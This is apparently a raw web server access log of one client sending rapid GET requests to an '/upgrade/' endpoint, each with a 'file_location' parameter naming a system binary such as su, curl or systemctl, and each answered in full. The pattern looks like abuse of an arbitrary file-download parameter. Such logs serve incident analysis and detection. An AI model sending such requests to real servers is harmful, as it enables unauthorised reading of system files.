45.135.193.11 - - [11/Sep/2026:22:49:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-conv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 901805 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-conv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-ct-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100794 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-ct-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwscore&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwscore&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fab&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 123620 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fab&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-exp-delete&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101006 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnf-exp-delete&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpigz&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 160697 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpigz&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire-vulkan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100581 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpipewire-vulkan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_ready&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96163 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_ready&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetterm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109376 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetterm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgmake&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 220168 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgmake&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkrescue&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 629432 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkrescue&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fidentify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fidentify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_reformat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fjson_reformat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzdec&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101482 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzdec&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdracut&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 124804 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdracut&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-compile-resources&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112911 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fglib-compile-resources&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnop&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100281 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnop&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperldoc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperldoc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffgconsole&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101026 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffgconsole&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmandb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 150195 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmandb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisam_ftdump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1033986 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmyisam_ftdump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetfacl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113519 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetfacl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_vpd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 143893 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_vpd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsnd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95895 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgsnd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-cls-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100716 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-cls-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 165059 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-upload-archive&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 10286242 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-upload-archive&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsggrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 150188 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsggrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-qdisc-delete&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100814 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-qdisc-delete&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-query&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105444 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-query&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprune&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102022 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprune&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frun-with-aspell&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95857 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frun-with-aspell&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_mandat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97418 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_mandat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgalera_recovery&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97618 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgalera_recovery&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnohup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnohup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-upload-pack&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 10286319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-upload-pack&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsm3hmac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108771 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsm3hmac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcatchsegv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97572 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcatchsegv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsgpio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsgpio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsu&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95447 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsu&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_embedded&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 7712015 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_embedded&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsar&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 153864 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsar&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fskill&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107078 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fskill&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 222024 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-detect-virt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102059 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-detect-virt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98750 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flastb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flastb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsof&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 185245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsof&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-tctree-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100667 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-tctree-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepoclosure&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97278 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frepoclosure&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnewuidmap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109136 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnewuidmap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkla-check-authorization&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107982 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpkla-check-authorization&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpydoc3.9&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95857 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpydoc3.9&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fexpr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 148818 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fexpr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flastlog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106423 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flastlog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftty&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107200 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftty&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcurl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 223180 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcurl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95960 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_stop&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96464 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_stop&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbond2team&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103197 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbond2team&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fld&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 424544 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fld&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
